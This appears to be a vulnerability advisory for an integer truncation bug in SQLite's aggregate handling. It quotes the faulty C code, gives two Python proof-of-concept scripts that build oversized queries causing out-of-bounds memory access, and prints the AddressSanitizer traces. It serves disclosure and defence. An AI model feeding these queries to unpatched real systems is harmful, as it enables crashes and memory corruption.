An integer truncation vulnerability exists in SQLite's handling of aggregate queries with a very large number of distinct column references. When the number of columns processed in an aggregate context exceeds 32,767, the index used to track these columns is truncated from a 32-bit integer to a signed 16-bit integer, resulting in a negative value
High - The exploitation of this vulnerability can lead to remote code execution and potential for significant damage.
An integer truncation vulnerability exists in SQLite's handling of aggregate queries with a very large number of distinct column references. When the number of columns processed in an aggregate context exceeds 32,767, the index used to track these columns is truncated from a 32-bit integer to a signed 16-bit integer, resulting in a negative value [1].
In debug builds, this invalid value leads to assertion failures [2][4]. In non-debug builds, the corrupted index is later used to access an array, leading to a heap-buffer-overflow. In sqlite3ExprCodeTarget, the out-of-bounds values are used to construct a potentially invalid VDBE instruction. In agginfoPersistExprCb, the out-of-bounds index read from an array [5] is followed by an out-of-bounds write to the same index [6], leading to memory corruption.
static void findOrCreateAggInfoColumn( Parse *pParse, /* Parsing context */ AggInfo *pAggInfo, /* The AggInfo object to search and/or modify */ Expr *pExpr /* Expr describing the column to find or insert */ ) { struct AggInfo_col *pCol; int k; [...] k = addAggInfoColumn(pParse->db, pAggInfo); if( k<0 ){ /* OOM on resize */ assert( pParse->db->mallocFailed ); return; } [...] pExpr->iAgg = (i16)k; // *** 1 *** } static int addAggInfoColumn(sqlite3 *db, AggInfo *pInfo){ int i; pInfo->aCol = sqlite3ArrayAllocate( db, pInfo->aCol, sizeof(pInfo->aCol[0]), &pInfo->nColumn, &i ); return i; } SQLITE_PRIVATE int sqlite3ExprCodeTarget(Parse *pParse, Expr *pExpr, int target){ [...] switch( op ){ case TK_AGG_COLUMN: { AggInfo *pAggInfo = pExpr->pAggInfo; struct AggInfo_col *pCol; assert( pAggInfo!=0 ); assert( pExpr->iAgg>=0 ); // *** 2 *** [...] pCol = &pAggInfo->aCol[pExpr->iAgg]; if( !pAggInfo->directMode ){ return AggInfoColumnReg(pAggInfo, pExpr->iAgg); }else if( pAggInfo->useSortingIdx ){ Table *pTab = pCol->pTab; sqlite3VdbeAddOp3(v, OP_Column, pAggInfo->sortingIdxPTab, pCol->iSorterColumn, target); // *** 3 *** [...] } static int agginfoPersistExprCb(Walker *pWalker, Expr *pExpr){ if( ALWAYS(!ExprHasProperty(pExpr, EP_TokenOnly|EP_Reduced)) && pExpr->pAggInfo!=0 ){ AggInfo *pAggInfo = pExpr->pAggInfo; int iAgg = pExpr->iAgg; Parse *pParse = pWalker->pParse; sqlite3 *db = pParse->db; assert( iAgg>=0 ); // *** 4 *** if( pExpr->op!=TK_AGG_FUNCTION ){ if( iAgg<pAggInfo->nColumn && pAggInfo->aCol[iAgg].pCExpr==pExpr // *** 5 *** ){ pExpr = sqlite3ExprDup(db, pExpr, 0); if( pExpr && !sqlite3ExprDeferredDelete(pParse, pExpr) ){ pAggInfo->aCol[iAgg].pCExpr = pExpr; // *** 6 *** } } [...] }
The first reproduction case triggers an out-of-bounds access in sqlite3ExprCodeTarget:
import math REQUIRED_REFS = 65535 COLS_PER_TABLE = 2000 GROUP_SIZE = 500 # Calculate how many times the table must be aliased. NUM_ALIASES = math.ceil(REQUIRED_REFS / COLS_PER_TABLE) # 1. Create a single wide table. create_table_sql = f"CREATE TABLE w({', '.join(f'c{i} INT' for i in range(COLS_PER_TABLE))});" insert_sql = "INSERT INTO w DEFAULT VALUES;" # 2. Build the FROM clause with self-joins to create distinct namespaces. from_clause = f"FROM {', '.join(f'w AS t{i}' for i in range(NUM_ALIASES))}" # 3. Generate all required predicates. predicates = [ f"t{i // COLS_PER_TABLE}.c{i % COLS_PER_TABLE} IS NOT NULL" for i in range(REQUIRED_REFS) ] # 4. Build a large HAVING clause with the first 32,768+ column references. # Group the predicates to avoid exceeding the expression-depth limit. grouped_predicates = [ f"({' AND '.join(predicates[i:i + GROUP_SIZE])})" for i in range(0, len(predicates), GROUP_SIZE) ] having_clause = "HAVING " + " AND ".join(grouped_predicates) # 5. Assemble the final query. final_sql = f"SELECT 1 {from_clause} GROUP BY t0.c0 {having_clause};" print(create_table_sql) print(insert_sql) print(final_sql)
The second reproduction case triggers the issue in agginfoPersistExprCb:
import math REQUIRED_REFS = 65535 COLS_PER_TABLE = 2000 # Calculate how many times the table must be aliased. NUM_ALIASES = math.ceil(REQUIRED_REFS / COLS_PER_TABLE) # 1. Create a single wide table. create_table_sql = f"CREATE TABLE w({', '.join(f'c{i} INT' for i in range(COLS_PER_TABLE))});" insert_sql = "INSERT INTO w DEFAULT VALUES;" # 2. Build the FROM clause, joining the table to itself to create distinct namespaces. from_clause = f"FROM {', '.join(f'w AS t{i}' for i in range(NUM_ALIASES))}" # 3. Build a large CASE expression to reference over 32k distinct columns. case_whens = [] for i in range(REQUIRED_REFS): alias = f"t{i // COLS_PER_TABLE}" column = f"c{i % COLS_PER_TABLE}" # 4. Force `sqlite3WindowRewrite` for the last column reference. then_expression = ( f"(SELECT SUM({alias}.{column}) OVER (ORDER BY 1))" if i == REQUIRED_REFS - 1 else f"{alias}.{column}" ) case_whens.append(f"WHEN {i} THEN {then_expression}") case_expression = f"CASE\n{' '.join(case_whens)}\nEND" # 5. Assemble the final query. final_sql = f"SELECT COUNT({case_expression}) {from_clause};" print(create_table_sql) print(insert_sql) print(final_sql)
To reproduce the assertion failure, build SQLite with debug options and ASan enabled.
CFLAGS="-fsanitize=address -g" ./configure --enable-debug && \
make -j$(nproc)
python3 repro.py | ASAN_OPTIONS=handle_abort=1 ./sqlite3
Assertion failure:
==4128722==ERROR: AddressSanitizer: ABRT on unknown address 0x9bf20003effd2 (pc 0x7f81d649e95c bp 0x000000001000 sp 0x7fff86d362a0 T0)
#0 0x7f81d649e95c in __pthread_kill_implementation nptl/pthread_kill.c:44
#1 0x7f81d6449cc1 in __GI_raise ../sysdeps/posix/raise.c:26
#2 0x7f81d64324ab in __GI_abort stdlib/abort.c:73
#3 0x7f81d643241f in __assert_fail_base assert/assert.c:118
#4 0x55f75bd14c6f in sqlite3ExprCodeTarget sqlite/sqlite3.c:115264
#5 0x55f75bd1b80e in sqlite3ExprCode sqlite/sqlite3.c:116144
#6 0x55f75bdd9489 in updateAccumulator sqlite/sqlite3.c:152015
#7 0x55f75bde4eb2 in sqlite3Select sqlite/sqlite3.c:153521
#8 0x55f75be7110f in yy_reduce sqlite/sqlite3.c:179393
#9 0x55f75be7f586 in sqlite3Parser sqlite/sqlite3.c:180848
#10 0x55f75be8525c in sqlite3RunParser sqlite/sqlite3.c:182189
#11 0x55f75bdaacdd in sqlite3Prepare sqlite/sqlite3.c:144662
#12 0x55f75bdab537 in sqlite3LockAndPrepare sqlite/sqlite3.c:144737
#13 0x55f75bdabc73 in sqlite3_prepare_v2 sqlite/sqlite3.c:144824
#14 0x55f75bb384da in shell_exec sqlite/shell.c:24753
#15 0x55f75bb69e8c in runOneSqlLine sqlite/shell.c:32622
#16 0x55f75bb6ad71 in process_input sqlite/shell.c:32793
#17 0x55f75bb6f321 in main sqlite/shell.c:33775
#18 0x7f81d6433ca7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#19 0x7f81d6433d64 in __libc_start_main_impl ../csu/libc-start.c:360
#20 0x55f75bac6950 in _start (sqlite/sqlite3+0xf1950) (BuildId: 02f29908f945e8a9b54679d25a4ba5af043dad4a)
Heap-buffer-overflow in agginfoPersistExprCb:
==547538==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f6291ee87e0 at pc 0x55e9aef40da2 bp 0x7fffd9df35a0 sp 0x7fffd9df3598
READ of size 8 at 0x7f6291ee87e0 thread T0
#0 0x55e9aef40da1 in agginfoPersistExprCb sqlite/sqlite3.c:117246
#1 0x55e9aef1239d in sqlite3WalkExprNN sqlite/sqlite3.c:107810
#2 0x55e9aef12658 in sqlite3WalkExpr sqlite/sqlite3.c:107840
#3 0x55e9aef126f9 in sqlite3WalkExprList sqlite/sqlite3.c:107852
#4 0x55e9aef1257c in sqlite3WalkExprNN sqlite/sqlite3.c:107826
#5 0x55e9aef12658 in sqlite3WalkExpr sqlite/sqlite3.c:107840
#6 0x55e9aef126f9 in sqlite3WalkExprList sqlite/sqlite3.c:107852
#7 0x55e9aef12775 in sqlite3WalkSelectExpr sqlite/sqlite3.c:107875
#8 0x55e9aef12d1f in sqlite3WalkSelect sqlite/sqlite3.c:107954
#9 0x55e9af03cf7d in sqlite3WindowRewrite sqlite/sqlite3.c:173042
#10 0x55e9aefd6607 in sqlite3Select sqlite/sqlite3.c:152300
#11 0x55e9aef318d8 in sqlite3CodeSubselect sqlite/sqlite3.c:114149
#12 0x55e9aef389b1 in sqlite3ExprCodeTarget sqlite/sqlite3.c:115539
#13 0x55e9aef3a8f0 in sqlite3ExprCode sqlite/sqlite3.c:115945
#14 0x55e9aef39bb5 in sqlite3ExprCodeTarget sqlite/sqlite3.c:115785
#15 0x55e9aef3ad85 in sqlite3ExprCodeExprList sqlite/sqlite3.c:116043
#16 0x55e9aefd3826 in updateAccumulator sqlite/sqlite3.c:151748
#17 0x55e9aefddf23 in sqlite3Select sqlite/sqlite3.c:153494
#18 0x55e9af04c9d3 in yy_reduce sqlite/sqlite3.c:179158
#19 0x55e9af0593f8 in sqlite3Parser sqlite/sqlite3.c:180613
#20 0x55e9af05d5f2 in sqlite3RunParser sqlite/sqlite3.c:181954
#21 0x55e9aefb04ec in sqlite3Prepare sqlite/sqlite3.c:144460
#22 0x55e9aefb0be5 in sqlite3LockAndPrepare sqlite/sqlite3.c:144535
#23 0x55e9aefb0fd9 in sqlite3_prepare_v2 sqlite/sqlite3.c:144622
#24 0x55e9aeddfdad in shell_exec sqlite/shell.c:24854
#25 0x55e9aee1009d in runOneSqlLine sqlite/shell.c:32679
#26 0x55e9aee10f47 in process_input sqlite/shell.c:32850
#27 0x55e9aee15391 in main sqlite/shell.c:33832
#28 0x7f6295e33ca7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#29 0x7f6295e33d64 in __libc_start_main_impl ../csu/libc-start.c:360
#30 0x55e9aed71900 in _start (sqlite/sqlite3+0x5c900) (BuildId: 674a2835862188c5687680a5e0a9307a65e5cc76)
0x7f6291ee87e0 is located 32 bytes before 1572872-byte region [0x7f6291ee8800,0x7f6292068808)
allocated by thread T0 here:
#0 0x7f62960f3b58 in realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:85
#1 0x55e9aee23bd3 in sqlite3MemRealloc sqlite/sqlite3.c:27349
#2 0x55e9aee2581f in sqlite3Realloc sqlite/sqlite3.c:31286
#3 0x55e9aee2614b in dbReallocFinish sqlite/sqlite3.c:31477
#4 0x55e9aee2605f in sqlite3DbRealloc sqlite/sqlite3.c:31460
#5 0x55e9aef7159c in sqlite3ArrayAllocate sqlite/sqlite3.c:127604
#6 0x55e9aef4113a in addAggInfoColumn sqlite/sqlite3.c:117285
#7 0x55e9aef415a3 in findOrCreateAggInfoColumn sqlite/sqlite3.c:117337
#8 0x55e9aef425ca in analyzeAggregate sqlite/sqlite3.c:117444
#9 0x55e9aef1239d in sqlite3WalkExprNN sqlite/sqlite3.c:107810
#10 0x55e9aef12658 in sqlite3WalkExpr sqlite/sqlite3.c:107840
#11 0x55e9aef126f9 in sqlite3WalkExprList sqlite/sqlite3.c:107852
#12 0x55e9aef1257c in sqlite3WalkExprNN sqlite/sqlite3.c:107826
#13 0x55e9aef12658 in sqlite3WalkExpr sqlite/sqlite3.c:107840
#14 0x55e9aef433d4 in sqlite3ExprAnalyzeAggregates sqlite/sqlite3.c:117549
#15 0x55e9aef4348e in sqlite3ExprAnalyzeAggList sqlite/sqlite3.c:117563
#16 0x55e9aefd130b in analyzeAggFuncArgs sqlite/sqlite3.c:151378
#17 0x55e9aefdb6dd in sqlite3Select sqlite/sqlite3.c:153054
#18 0x55e9af04c9d3 in yy_reduce sqlite/sqlite3.c:179158
#19 0x55e9af0593f8 in sqlite3Parser sqlite/sqlite3.c:180613
#20 0x55e9af05d5f2 in sqlite3RunParser sqlite/sqlite3.c:181954
#21 0x55e9aefb04ec in sqlite3Prepare sqlite/sqlite3.c:144460
#22 0x55e9aefb0be5 in sqlite3LockAndPrepare sqlite/sqlite3.c:144535
#23 0x55e9aefb0fd9 in sqlite3_prepare_v2 sqlite/sqlite3.c:144622
#24 0x55e9aeddfdad in shell_exec sqlite/shell.c:24854
#25 0x55e9aee1009d in runOneSqlLine sqlite/shell.c:32679
#26 0x55e9aee10f47 in process_input sqlite/shell.c:32850
#27 0x55e9aee15391 in main sqlite/shell.c:33832
#28 0x7f6295e33ca7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-buffer-overflow sqlite/sqlite3.c:117246 in agginfoPersistExprCb
Shadow bytes around the buggy address:
0x7f6291ee8500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7f6291ee8580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7f6291ee8600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7f6291ee8680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7f6291ee8700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x7f6291ee8780: fa fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa
0x7f6291ee8800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f6291ee8880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f6291ee8900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f6291ee8980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f6291ee8a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==547538==ABORTING
Date reported: 2025-06-28
Date fixed: 2025-06-30
Date disclosed: 2025-08-25